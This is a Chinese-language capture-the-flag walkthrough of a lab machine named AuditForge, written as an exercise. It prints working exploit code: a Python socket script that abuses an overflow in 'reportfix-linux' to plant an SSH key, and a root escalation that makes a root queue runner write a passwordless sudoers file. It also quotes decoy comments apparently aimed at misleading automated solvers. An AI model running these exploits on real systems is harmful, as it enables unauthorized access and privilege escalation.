

| AuditForge-倒春寒

| 信息收集

先做基础探测 两段式扫描,先快速过全端口找开放项:

```
export IP=192.168.64.12  
nmap -p- --min-rate=1000 -T4 $IP -oN ports.txt
```

开放 3 个端口:

```
21/tcp open  ftp  
22/tcp open  ssh  
80/tcp open  http
```

```
nmap -p- --min-rate=1000 -T4 $IP -oN ports.txt  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-07 01:12 -0400  
Nmap scan report for 192.168.64.12  
Host is up (0.00040s latency).  
Not shown: 65532 closed tcp ports (reset)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
22/tcp    open  ssh  
80/tcp    open  http  
MAC Address: 76:58:17:9A:52:28 (Unknown)  
  
Nmap done: 1 IP address (1 host up) scanned in 11.97 seconds
```

SSH 没有凭据很难推进, 优先看 21 和 80 端口

```
nmap -sC -sV -p 21,22,80 $IP -oN detail.txt
```

daochunhan@kali ~ (2m 41.48s)

nmap -sC -sV -p 21,22,80 \$IP -oN detail.txt

```
PORT      STATE SERVICE VERSION
21/tcp    open  ftp?
| fingerprint-strings:
|   GenericLines, GetRequest:
|     220-AuditForge legacy transfer node
|     220-Failed transfer records are mirrored for auditor review
|     220-Offline review is handled by the local auditor account "auditor"
|     220-Mirrored archives are later processed by reportfix-linux
|     Input format: USER <record_name>, PASS <record_body>, QUIT
|     Command not implemented; send HELP for usage
|     Command not implemented; send HELP for usage
|   Help:
|     220-AuditForge legacy transfer node
|     220-Failed transfer records are mirrored for auditor review
|     220-Offline review is handled by the local auditor account "auditor"
|     220-Mirrored archives are later processed by reportfix-linux
|     Input format: USER <record_name>, PASS <record_body>, QUIT
|     214-Supported commands: USER, PASS, SYST, QUIT
|     214-Record format: USER <record_name>
|     214-Record body: PASS <record_body>
|     214-Mirrored records are reviewed by the local auditor account: auditor
|     214-Mirrored records are later processed by reportfix-linux in AFR1 format
|     Send QUIT to close the session
|   NULL:
|     220-AuditForge legacy transfer node
|     220-Failed transfer records are mirrored for auditor review
|     220-Offline review is handled by the local auditor account "auditor"
|     220-Mirrored archives are later processed by reportfix-linux
|     Input format: USER <record_name>, PASS <record_body>, QUIT
|_
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
```

21 端口 `ftp?`，其实是模仿 FTP 的协议，支持命令 `USER`、`PASS`、`SYST`、`QUIT`，同时反复强调 `auditor` 账户和 `reportfix-linux`、`AFR1 format`

```
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
80/tcp    open  http      BaseHTTPServer 0.6 (Python 3.13.5)
|_http-server-header: BaseHTTP/0.6 Python/3.13.5
|_http-title: AuditForge Review Portal
| http-robots.txt: 4 disallowed entries
|_/_draft/ /downloads/ /backup/ /legacy-admin/
1 service unrecognized despite returning data. If you know the
```

80 端口 `robots.txt` 泄露了 4 个隐藏路径：`/draft/` `/downloads/` `/backup/` `/legacy-admin/`

```

curl -s http://$IP/backup/
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>AuditForge Backup Mirror</title>
</head>
<body>
  <h1>Backup Mirror</h1>
  <p>Legacy portal source snapshots are retained here for rollback comparisons.</p>
  <ul>
    <li><a href="/backup/review-portal-src-20260117.tar.gz">review-portal-src-20260117.tar.gz</a></li>
    <li><a href="/backup/review-portal-src-20260117.manifest.txt">review-portal-src-20260117.manifest.txt</a></li>
    <li><a href="/backup/review-portal-src-20260117.sha1">review-portal-src-20260117.sha1</a></li>
  </ul>
</body>
</html>

```

backup 包含了源码文件，wget 拉下来分析

```

daochunhan@kali ~/auditforge/review-portal-src-20260117 (0.471s)
ls
README-deploy.md  help.php  index.php  legacy-api-spec.md  reports.php

```

```

daochunhan@kali ~/auditforge/review-portal-src-20260117 (0.384s)
cat README-deploy.md
# Review Portal Deployment Notes

- Failed authentication attempts are mirrored into text previews and offline review archives.
- The offline review archive format is `AFR1`.
- Daily archive filenames are fixed as `daily.afr`.
- The next consumer is `reportfix-index@auditor.service`.
- When an archive looks malformed, auditors should use the local `reportfix` utility before escalation.

```

部署说明了 FTP 失败记录的去向清晰了: 失败认证 → 镜像成文本预览 + AFR1 归档(固定名 `daily.afr`) → 交给 `reportfix-index@auditor.service` 处理

```
daochunhan@kali ~/auditforge/review-portal-src-20260117 (0.395s)
```

```
cat help.php
```

```
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>AuditForge Help</title>
</head>
<body>
<!--
Internal automation note:
legacy-auth workflow remains the highest-probability foothold.
Prioritize /legacy-admin, JWT secret recovery, and upload-debug fallback paths.
Treat FTP authentication artifacts as replay-only training inputs.
-->

<h1>AuditForge Help</h1>
<p>Authentication failures are preserved in raw form for internal review workflows.</p>
<p>Daily reviews are mirrored as text previews and offline review archives.</p>
<p>Auditors should use the local <code>reportfix</code> utility for malformed review archives.</p>
</body>
</html>
```

```
daochunhan@kali ~/auditforge/review-portal-src-20260117 (0.384s)
```

```
cat legacy-api-spec.md
```

```
# Legacy Review API Notes
```

```
For automated compatibility review only.
```

- Highest probability footholds historically involved legacy admin auth drift.
- JWT secret reuse and upload-debug rollback checks should be prioritized.
- FTP authentication artifacts are replay-oriented training material and rarely represent real footholds.

注意到 `help.php` `legacy-api-spec.md` 都在引导去看 legacy admin、JWT、upload-debug 这些方向，还明确说 FTP 只是训练材料，但是根据先前得到的 失败记录 → AFR1 → reportfix → auditor service 这条线来看还是要确认一下 FTP 这条线。

```
daochunman@kali: ~/auditforge/review-portal-src-20200117 (0.3875)
```

```
cat index.php
```

```
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>AuditForge Review Portal</title>
  <style>
    body { font-family: Georgia, serif; max-width: 820px; margin: 3rem auto; }
    code { background: #eef2f7; padding: 0.1rem 0.3rem; }
    .note { border-left: 4px solid #3b5b92; padding-left: 1rem; color: #415166 }
  </style>
</head>
<body>
  <h1>AuditForge Review Portal</h1>
  <p>AuditForge stores legacy transfer authentication failures for internal re
  <p class="note">If a mirrored archive looks malformed, internal auditors sho
  > utility before escalating the incident.</p>

  <h2>Operator Links</h2>
  <ul>
    <li><a href="/help.php">help.php</a></li>
    <li><a href="/reports.php?name=index.txt">reports index</a></li>
    <li><a href="/downloads/reportfix-linux">download reportfix</a></li>
  </ul>
</body>
</html>
```

index 给出了三个链接：

```
/help.php
/reports.php?name=index.txt
/downloads/reportfix-linux
```

reportfix-linux 是可下载的，还对应了 README/banner 反复提到的那个“处理 AFR1 归档的程序”。

```
cat reports.php
```

```
<?php
$base = __DIR__ . '/storage/reports/';
$name = $_GET['name'] ?? 'index.txt';
$realBase = realpath($base);
$path = realpath($base . $name);

header('Content-Type: text/plain; charset=UTF-8');

if ($path === false || $realBase === false || strncmp($path, $realBase . DIRECTORY_SEPARATOR, strlen($realBase . DIRE
CTORY_SEPARATOR)) !== 0 || !is_file($path)) {
    http_response_code(404);
    echo "missing\n";
    exit;
}

readfile($path);
```

reports.php 校验了路径前缀必须是 **storage/reports/**，读不了storage/reports/ 以外的文件。到这里再考虑根据 **robots.txt** 验证一下/legacy-admin这条路径。

```
daochunhan@kali ~/auditforge/review-port  
curl -s http://$IP/legacy-admin/  
missing
```

根路径不给内容，但是前面反复强调 legacy-admin ，那就使用 gobuster 尝试枚举

```
gobuster dir -u http://$IP/legacy-admin/ -w /usr/share/wordlists/dirb/common.txt -x php,txt -t 30  
  
=====
```

```
Gobuster v3.8.2  
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)  
=====
```

```
[+] Url: http://192.168.64.12/legacy-admin/  
[+] Method: GET  
[+] Threads: 30  
[+] Wordlist: /usr/share/wordlists/dirb/common.txt  
[+] Negative Status codes: 404  
[+] User Agent: gobuster/3.8.2  
[+] Extensions: php,txt  
[+] Timeout: 10s  
=====
```

```
Starting gobuster in directory enumeration mode  
=====
```

```
.svn/entries (Status: 200) [Size: 199]  
Progress: 13839 / 13839 (100.00%)  
=====
```

```
Finished  
=====
```

命中 `.svn/entries`

```
daochunhan@kali ~/auditforge/review-portal-src-20260117 (0.4
```

```
curl -s "http://$IP/legacy-admin/.svn/entries"
```

```
10
```

```
dir
```

```
91
```

```
https://legacy-auth.local/svn/legacy-admin
```

```
https://legacy-auth.local/svn
```

```
2026-01-17T02:14:09.000000Z
```

```
legacy-audit-admin
```

```
admin.php
```

```
file
```

```
upload-debug.php
```

```
file
```

```
jwt.php
```

```
file
```

```
config.php
```

```
file
```

四个文件名正好对应 help.php 注释点名的:admin、upload-debug、jwt、config

```

curl -s "http://$IP/legacy-admin/.svn/text-base/admin.php.svn-base"
curl -s "http://$IP/legacy-admin/.svn/text-base/upload-debug.php.svn-base"
curl -s "http://$IP/legacy-admin/.svn/text-base/jwt.php.svn-base"
curl -s "http://$IP/legacy-admin/.svn/text-base/config.php.svn-base"

<?php
$legacy_notice = 'Legacy admin portal retired after review pipeline v2.';
require_once __DIR__ . '/../config.php';
require_once __DIR__ . '/../jwt.php';

if (!legacy_admin_enabled()) {
    http_response_code(403);
    echo 'legacy admin disabled';
    exit;
}

echo $legacy_notice;
<?php
require_once __DIR__ . '/../config.php';

if (!legacy_admin_enabled()) {
    http_response_code(403);
    echo 'debug path disabled';
    exit;
}

echo 'upload-debug rollback validation only';
<?php
function legacy_jwt_secret(): string {
    return 'review-portal-legacy-jwt-dev';
}
<?php
function legacy_admin_enabled(): bool {
    return false;
}

$legacy_mount = '/legacy-admin';
$legacy_debug_hint = 'upload-debug is usually the easiest fallback';

```

虽然有旧版 JWT secret，但是没有任何端点会走到 JWT 校验逻辑， legacy-admin 和 upload-debug 相关功能实际处于关闭状态，那返回去看reportfix这一条线

| reportfix-linux 分析

wget 把 reportfix-linux（也就是 AFR1 处理程序）拉下来，走二进制程序分析流程：


```
chmod +x reportfix-linux
```

```
daochunhan@kali ~/auditforge (0.401s)
```

```
file reportfix-linux
```

```
reportfix-linux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4d19edc662e1b14d390b8ee52b6c4463f4283b7f, for GNU/Linux 3.2.0, not stripped
```

```
daochunhan@kali ~/auditforge (2.133s)
```

```
checksec reportfix-linux
```

```
[*] '/home/daochunhan/auditforge/reportfix-linux'
```

```
Arch:      amd64-64-little  
RELRO:     Partial RELRO  
Stack:     No canary found  
NX:        NX enabled  
PIE:       No PIE (0x400000)  
Stripped:  No
```

canary, PIE都没开，也没有 strip，只开了 NX，分析成本很低

```
daochunhan@kali ~/auditforge (0.403s)
```

```
./reportfix-linux
```

```
usage: ./reportfix-linux --index <daily.afr> | --inspect <daily.afr>
```

运行一下程序，发现两个模式都吃一个 `daily.afr` 文件。

结合 README: `reportfix-index@auditor.service` 用的就是 `--index` 模式,且以 **auditor** 身份自动处理 `daily.afr`

那也就是说只要能控制 `daily.afr` 内容、并让解析过程出问题,就能以 auditor 身份做事。

因为没有 strip，那就拖进 IDA 逆向分析一下，直接看 main

```
IDA ... Pseu... Pseu... Pseu... Stri...
1 int __fastcall main(int argc, const char **argv, const char **envp)
2 {
3     unsigned int v4; // eax
4
5     if ( argc != 3 )
6         goto LABEL_14;
7     init_job();
8     if ( !(unsigned int)load_afr(argv[2]) )
9         return 1;
10    if ( !strcmp(argv[1], "--index") )
11    {
12        maybe_export_key();
13        return 0;
14    }
15    if ( !strcmp(argv[1], "--inspect") )
16    {
17        printf("current_user=%s\n", g_job);
18        if ( byte_404181 )
19            v4 = (unsigned __int8)byte_404181;
20        else
21            v4 = 63;
22        printf("role=%c\n", v4);
23        printf("active_profile=%s\n", dest);
24        if ( byte_404181 == 77 )
25            maintenance_console();
26        else
27            puts("maintenance features unavailable");
28        return 0;
29    }
30    else
31    {
32    LABEL_14:
33        usage(*argv);
34        return 1;
35    }
```

要求 3 个参数,先 `init_job()` 初始化,再 `load_afr(argv[2])` 解析文件,然后按 `--index` 还是 `--inspect` 分流

```

1 char *init_job()
2 {
3     memset(g_job, 0, 0x162u);
4     byte_404181 = 86;
5     return strncpy(dest, "reindex", 0x1Fu);
6 }

```

byte_404181 被设成 'V', 而 main 里 `--inspect` 要它等于 'M' 才进 maintenance_console

```

8 stream = fopen(a1, "rb");
9 v2 = 0;
10 if ( stream )
11 {
12     if ( fread(ptr, 1u, 4u, stream) == 4 && !memcmp(ptr, "AFR1", 4u) )
13     {
14         if ( fread(&v2, 2u, 1u, stream) == 1 )
15         {
16             for ( i = 0; i < v2; ++i )
17             {
18                 if ( !(unsigned int)read_record(stream) )
19                 {
20                     fclose(stream);
21                     fwrite("bad record\n", 1u, 0xBu, stderr);
22                     return 0;
23                 }
24             }
25             fclose(stream);
26             return 1;
27         }
28     }
29 }

```

所以 AFR1 = "AFR1" + count(uint16) + count 条记录

read_record 解析单条记录

```

19 if ( fread(&ptr, 1u, 1u, a1) != 1 )
20     return 0;
21 if ( fread(&v8, 1u, 1u, a1) != 1 )
22     return 0;
23 if ( fread(&v7, 2u, 1u, a1) != 1 )
24     return 0;

```

读了四字节头, 分别是1、1、2字节

```

35 if ( src && v10 && (v4 = fread(src, 1u, v8, a1), v4 == v8) && (v5 = fread(v10, 1u, v7, a1), v5 == v7) )
36 {
37     memcpy(g_job, src, v8);
38     byte_40417F = 0;
39     memset(byte_404202, 0, 0xA0u);
40     v6 = v7;
41     if ( v7 > 0x9Fu )
42         v6 = 159;
43     memcpy(byte_404202, v10, v6);
44     free(src);
45     free(v10);
46     return 1;
47 }

```

先看 memcpy 这种有溢出风险的函数，两个 memcpy，第二个对 v10 做了 `v7 > 0x9F` 的上限限制(最多 159 字节)，但是第一个 `v8` 是从文件里读来的一个字节,完全没做上限检查,直接拿来当 memcpy 长度往全局 `g_job` 拷

```

.bss:0000000000404128                                ; __do_global_dtors_aux+16+r
.bss:0000000000404129                                align 20h
.bss:0000000000404140 ; char g_job[63]
.bss:0000000000404140 g_job                        db 3Fh dup(?)          ; DATA XREF: init_job+E+r
.bss:0000000000404140                                ; read_record+1CE+r ...
.bss:000000000040417F byte_40417F                db ?                          ; DATA XREF: read_record+1DD+r
.bss:0000000000404180 byte_404180                db ?                          ; DATA XREF: maybe_export_key+8+r
.bss:0000000000404181 byte_404181                db ?                          ; DATA XREF: init_job+1D+r
.bss:0000000000404181                                ; main+C7+r ...
.bss:0000000000404182 ; char filename
.bss:0000000000404182 filename                    db ?                          ; DATA XREF: maybe_export_key+13+r
.bss:0000000000404182                                ; maybe_export_key+28+r
.bss:0000000000404183                                db ? ;
.bss:0000000000404184                                db ? ;
.bss:0000000000404185                                db ? ;

```

`g_job` 在 .bss 段，后面跟着 byte_404180、byte_404181、filename，unsigned 最大长度写到 255，filename 的 offset 在 0x42，那么就可以把程序自带的"导出 key"功能调起来、并改掉它的输出路径，完全在这个可覆盖的范围内

所以到这里这个二进制程序的作用就比较清晰了，程序中没有明显的可以劫持控制流或者自带的 system/execute，因为它的作用本身是任意文件写

I 利用越界写拿到 auditor

任意文件写的三个要素都在越界写的控制范围内，那么把 filename 指向 auditor 的 `authorized_keys`，内容写成我们的 SSH 公钥，就能拿到 auditor 的 SSH 登录

生成密钥之后下一步就要考虑投递方式，我们构造好的这条恶意 AFR1 记录,怎么才能让 auditor 的那个 service 去解析它

回到 README 和 FTP banner 强调过的那条链：**失败的认证记录会被镜像成 AFR1 归档,再交给 reportfix 处理**。也就是说,生成 `daily.afr` 这件事,本来就是伪 FTP 服务在做的，只要制造一次"失败登录",它就会把我们的 `USER / PASS` 内容写进归档。

结合前面 read_record 的记录布局，`USER` 对应 src(能盖到 filename)，`PASS` 对应写入内容(公钥)

```

1 int maybe_export_key()
2 {
3     FILE *v0; // rax
4     FILE *stream; // [rsp+8h] [rbp-8h]
5
6     LODWORD(v0) = (unsigned __int8)byte_404180;
7     if ( byte_404180 )
8     {
9         LODWORD(v0) = (unsigned __int8)filename;
10        if ( filename )
11        {
12            v0 = fopen(&filename, "a");
13            stream = v0;
14            if ( v0 )
15            {
16                fputs(byte_404202, v0);
17                fputc(10, stream);
18                LODWORD(v0) = fclose(stream);
19            }
20        }
21    }
22    return (int)v0;
23 }

```

xrefs to byte_404181

Direction	Type	Address	Text
Up	w	init_job+1D	mov cs:byte_404181, 56h; 'V'
Up	r	main+C7	movzx eax, cs:byte_404181
Up	r	main+D2	movzx eax, cs:byte_404181
Up	r	main+117	movzx eax, cs:byte_404181

Line 1 of 4

Help

Search

Cancel

OK

```

user = b"A" * 0x40 # 0x00~0x3F padding 覆盖 g_job
user += b"\x01"    # 0x40:非 0,打开 maybe_export_key
user += b"V"       # 0x41:role,--index 模式不关心,占位
user += b"/home/auditor/.ssh/authorized_keys" # 0x42:filename
user += b"\x00"    # 路径结尾截断

```

```
body = b"ssh-ed25519\t" + PUBKEY_B64 + b"\n" # PASS: 写公钥
```

第一次打的时候, **PASS** 里直接发标准格式 **ssh-ed25519 AAAA...** (空格分隔), 记录写进去了, 但 SSH 登不上。后面换成 tab 分隔 **ssh-ed25519\tAAAA...** 之后才成功。

用 socket 发原始字节:

```
import socket
from pathlib import Path
IP = "192.168.64.12"

pub = Path("~/ssh/id_ed25519.pub").expanduser().read_text().split()
PUBKEY_B64 = pub[1].encode()

user = b"A" * 0x40 # 0x00~0x3F padding 覆盖 g_job
user += b"\x01" # 0x40: 非 0, 打开 maybe_export_key
user += b"V" # 0x41: role, --index 模式不关心, 占位
user += b"/home/auditor/.ssh/authorized_keys" # 0x42: filename
user += b"\x00" # 路径结尾截断

body = b"ssh-ed25519\t" + PUBKEY_B64 + b"\n" # PASS: 写公钥

s = socket.create_connection((IP, 21), timeout=5)
s.settimeout(2)
print(s.recv(4096).decode())
s.sendall(b"USER " + user + b"\r\n")
print(s.recv(4096).decode())
s.sendall(b"PASS " + body + b"\r\n")
try:
    print(s.recv(4096).decode())
except socket.timeout:
    pass
s.sendall(b"QUIT\r\n")
s.close()
```

发完之后, 这次"失败登录"就被伪 FTP 镜像进了 **daily.afr**, 等 **reportfix-index@auditor.service** 处理时, **read_record** 的越界写就会把 **filename** 改成我们的路径、把公钥追加进去。

ssh 成功拿到以 auditor 身份登录, 拿到 user shell

```

daochunhan@kali ~/auditforge (1m 10.00s)
ssh auditor@192.168.64.12
Linux AuditForge 7.0.5-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-4.1~trixie (2026-05-08) x86_64
AuditForge Internal Review Appliance

- Legacy transfer review is mirrored for auditors.
- Malformed daily archives should be checked with reportfix.
- Maintenance queue is local-only on 127.0.0.1:1314.
Last login: Sat Jun  6 15:07:41 2026 from 192.168.64.10

AuditForge :: 192.168.64.12

-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory
-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory
-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory
-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory
-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory
-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory
-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory
auditor@AuditForge:~$ id
uid=1000(auditor) gid=1000(auditor) groups=1000(auditor)
auditor@AuditForge:~$ whoami
auditor
auditor@AuditForge:~$ cat user.txt
flag{user-a7cf56e3cc7f91abff273524b6ef13e5}
auditor@AuditForge:~$

```

root 提权

```

auditor@AuditForge:~$ ss -lntp
State      Recv-Q    Send-Q      Local Address:Port      Peer Address:Port      Process
LISTEN     0          128         0.0.0.0:80              0.0.0.0:*               httpd
LISTEN     0          128         0.0.0.0:22              0.0.0.0:*               sshd
LISTEN     0          5          0.0.0.0:21              0.0.0.0:*              
LISTEN     0          5          127.0.0.1:1314          0.0.0.0:*               reportfix
LISTEN     0          128         [::]:22                [::]:*

```

先用auditor看监听端口，多了一个只绑在 loopback 的 127.0.0.1:1314，这个端口其实在逆 reportfix 时就见过:maintenance_console 选 "Run custom profile" 时,send_command 会连本地端口发命令：

```

13  s.sa_family = 2;
14  *(_WORD *)s.sa_data = htons(0x522u);
15  *(_DWORD *)&s.sa_data[2] = inet_addr("127.0.0.1");
16  if ( connect(fd, &s, 0x10u) >= 0 )
17  {
18      v2 = strlen(a1);
19      write(fd, a1, v2);
20      write(fd, "\n", 1u);
21      v5 = read(fd, buf, 0x1FFu);
22      if ( v5 > 0 )
23      {
24          buf[v5] = 0;
25          printf("%s", buf);
26      }

```

再看一下进程


```
ps aux | grep -iE 'python|audit' | grep -v grep
```

```
auditor@AuditForge:~$ ps aux | grep -iE 'python|audit' | grep -v grep
reports+  507  0.0  0.4 316704 16200 ?        Ss   Jun06  0:27 /usr/bin/python3 /usr/local/sbin/auditforge-ftp.py
reports+  508  0.0  0.3 93744 12556 ?        Ss   Jun06  0:24 /usr/bin/python3 /opt/auditforge/bin/auditd-helper.py
auditweb  509  0.5  0.5 1047500 22228 ?        Ss   Jun06  5:11 /usr/bin/python3 /usr/local/sbin/auditforge-web.py
root     39541  0.0  0.3 19752 13016 ?        Ss   Jun06  0:00 sshd-session: auditor [priv]
```

- `auditforge-ftp.py` —— 21 端口那个伪 FTP(reports 用户跑)
- `auditforge-web.py` —— 80 端口的 web(auditweb 用户)
- `auditd-helper.py` —— 在 `/opt/auditforge/bin/`, reports 用户, 像内部控制服务

目标没有 nc, 但是 bash 的 /dev/tcp 可用

```
auditor@AuditForge:~$ exec 3<>/dev/tcp/127.0.0.1/1314
auditor@AuditForge:~$ echo test >&3
auditor@AuditForge:~$ cat <&3
UNKNOWN
auditor@AuditForge:~$
```

这个端口认命令, 逆 reportfix 的时候发现了 send_command 上面的 maintenance_console 的菜单逻辑, 已知 `maintenance_console` 的菜单 1/2 等价于发 `LIST / RUN <profile>`

xrefs to send_command

Direction	Typ	Address	Text
 D...	p	maintenance_console+A3	call send_command
 D...	p	maintenance_console+157	call send_command

Line 2 of 2

Help

Search

Cancel

OK



```
6
• 7 while ( 1 )
8 {
• 9     puts("== Maintenance Console ==");
• 10    puts("1. List profiles");
• 11    puts("2. Run custom profile");
• 12    puts("3. Exit");
• 13    printf("> ");
• 14    fflush(stdout);
• 15    result = fgets(s, 256, stdin);
• 16    if ( !result )
• 17        break;
• 18    if ( s[0] == 49 )
19    {
• 20        send_command("LIST");
21    }
• 22    else if ( s[0] == 50 )
23    {
• 24        printf("profile name: ");
• 25        fflush(stdout);
• 26        result = fgets(v1, 256, stdin);
• 27        if ( !result )
• 28            return result;
• 29        v1[strcspn(v1, "\r\n")] = 0;
• 30        snprintf(s, 0x100u, "RUN %s", v1);
• 31        send_command(s);
32    }
33    else
34    {
• 35        result = (char *) (unsigned __int8) s[0];
• 36        if ( s[0] == 51 )
• 37            return result;
38    }
39 }
```

向 1314 发一下 LIST

```
auditor@AuditForge:~$ exec 3<>/dev/tcp/127.0.0.1/1314
auditor@AuditForge:~$ echo LIST >&3
auditor@AuditForge:~$ cat <&3
reindex
repair-perms
refresh-hooks
auditor@AuditForge:~$
```

返回三个 profile 名，再试 `RUN`：

```
auditor@AuditForge:~$ exec 4<>/dev/tcp/127.0.0.1/1314
auditor@AuditForge:~$ echo 'RUN reindex' >&4
auditor@AuditForge:~$ cat <&4
QUEUED
auditor@AuditForge:~$
```

`RUN reindex` 回 `QUEUED`，1314 这个服务只负责把请求入队，真正执行 profile 的是另一个进程。

对照一下源码 `auditd-helper.py`

```

auditor@AuditForge:~$ cat /opt/auditforge/bin/auditd-helper.py
#!/usr/bin/env python3
import json
import socketserver
import time
from pathlib import Path

QUEUE = Path('/opt/auditforge/runtime/queue')
PROFILES = ['reindex', 'repair-perms', 'refresh-hooks']

class Handler(socketserver.StreamRequestHandler):
    def handle(self):
        line = self.rfile.readline(4096).decode('utf-8', errors='ignore').strip()

        if line == 'LIST':
            self.wfile.write(('\\n'.join(PROFILES) + '\\n').encode())
            return

        if line.startswith('RUN '):
            profile = line.split(' ', 1)[1]
            QUEUE.mkdir(parents=True, exist_ok=True)
            req = QUEUE / f'{int(time.time()) * 1000}.json'
            req.write_text(json.dumps({'profile': profile}), encoding='utf-8')
            self.wfile.write(b'QUEUED\\n')
            return

        self.wfile.write(b'UNKNOWN\\n')

class Server(socketserver.ThreadingTCPServer):
    allow_reuse_address = True

if __name__ == '__main__':
    with Server(('127.0.0.1', 1314), Handler) as server:
        server.serve_forever()
auditor@AuditForge:~$

```

RUN 后面直接 split，**没有做任何路径过滤**，helper 只入队，执行者要么是常驻进程、要么是周期任务。ps 里 reports/auditweb 那几个常驻服务都看过了，没有读 queue 的，那就看 systemd 有没有定时任务：

```

auditor@AuditForge:~$ systemctl list-units --type=service --all | grep auditforge
auditforge-builder.service      loaded inactive dead    AuditForge review artifact builder
auditforge-ftp.service          loaded active  running AuditForge legacy FTP collector
auditforge-maint.service        loaded active  running AuditForge maintenance queue service
auditforge-runner.service       loaded inactive dead    AuditForge maintenance runner
auditforge-web.service          loaded active  running AuditForge offline web service
auditor@AuditForge:~$ systemctl list-timers --all | grep auditforge
Sun 2026-06-07 06:27:06 EDT      14s Sun 2026-06-07 06:26:46 EDT      5s ago auditforge-runner.timer      auditforge-runner.service
Sun 2026-06-07 06:27:25 EDT      33s Sun 2026-06-07 06:26:25 EDT      26s ago auditforge-builder.timer     auditforge-builder.service
auditor@AuditForge:~$

```

```

auditforge-runner.service
auditforge-runner.timer # 周期触发 runner.service

```

看一下这个service的定义：

```

auditor@AuditForge:~$ systemctl cat auditforge-runner.service
# /etc/systemd/system/auditforge-runner.service
[Unit]
Description=AuditForge maintenance runner

[Service]
Type=oneshot
ExecStart=/usr/bin/python3 /usr/local/sbin/audit-maint-runner.py
auditor@AuditForge:~$

```

service 里没有 `User` 字段，默认以 `root` 运行

user 经 helper 能往 queue 里塞可控的 profile,而消费 queue 的 runner 是 root 还需要看 runner 怎么用这个 profile

```

auditor@AuditForge:~$ cat /usr/local/sbin/audit-maint-runner.py
#!/usr/bin/env python3
import json
import subprocess
from pathlib import Path

QUEUE = Path('/opt/auditforge/runtime/queue')
BASE = Path('/opt/auditforge/profiles')

def main() -> None:
    QUEUE.mkdir(parents=True, exist_ok=True)
    for req in sorted(QUEUE.glob('*.json')):
        data = json.loads(req.read_text(encoding='utf-8'))
        profile = str(data.get('profile', 'reindex')).strip() or 'reindex'
        script = BASE / profile / 'apply.sh'
        subprocess.run(['/bin/bash', str(script)], check=False)
        req.unlink(missing_ok=True)

if __name__ == '__main__':
    main()
auditor@AuditForge:~$

```

遍历 queue 里的 json,取出 `profile`,拼成 `BASE / profile / 'apply.sh'`,然后 `/bin/bash` 执行 root 身份

/ 拼接遇到绝对路径时,会直接丢弃左边的 base、整个替换成右边的绝对路径。所以只要 profile 传一个绝对路径 `/home/auditor/pwn`,拼出来的 script 就是:

```
/home/auditor/pwn/apply.sh
```

写 payload 让 root 替我们改 sudo 配置,给 auditor 开免密 sudo

```
auditor@AuditForge:~$ cat > /home/auditor/pwn/apply.sh <<'EOF'
#!/bin/bash
echo 'auditor ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/zz-auditor
chmod 440 /etc/sudoers.d/zz-auditor
EOF
auditor@AuditForge:~$ chmod +x /home/auditor/pwn/apply.sh
```

sudo 启动时会自动加载 `/etc/sudoers.d/` 下的所有片段，因为 runner 是用 root 身份在做的，所以可写免密 `auditor ALL=(ALL) NOPASSWD:ALL`。

```
auditor@AuditForge:~$ exec 6<>/dev/tcp/127.0.0.1/1314
auditor@AuditForge:~$ echo 'RUN /home/auditor/pwn' >&6
auditor@AuditForge:~$ cat <&6
QUEUED
auditor@AuditForge:~$ sudo -n -s
root@AuditForge:/home/auditor# id
uid=0(root) gid=0(root) groups=0(root)
root@AuditForge:/home/auditor# whoami
root
root@AuditForge:/home/auditor# cat root.txt
flag{root-a5f5224161a85bd9f3d36d1c27f53d62}
```

再次入队触发 runner，提权拿 root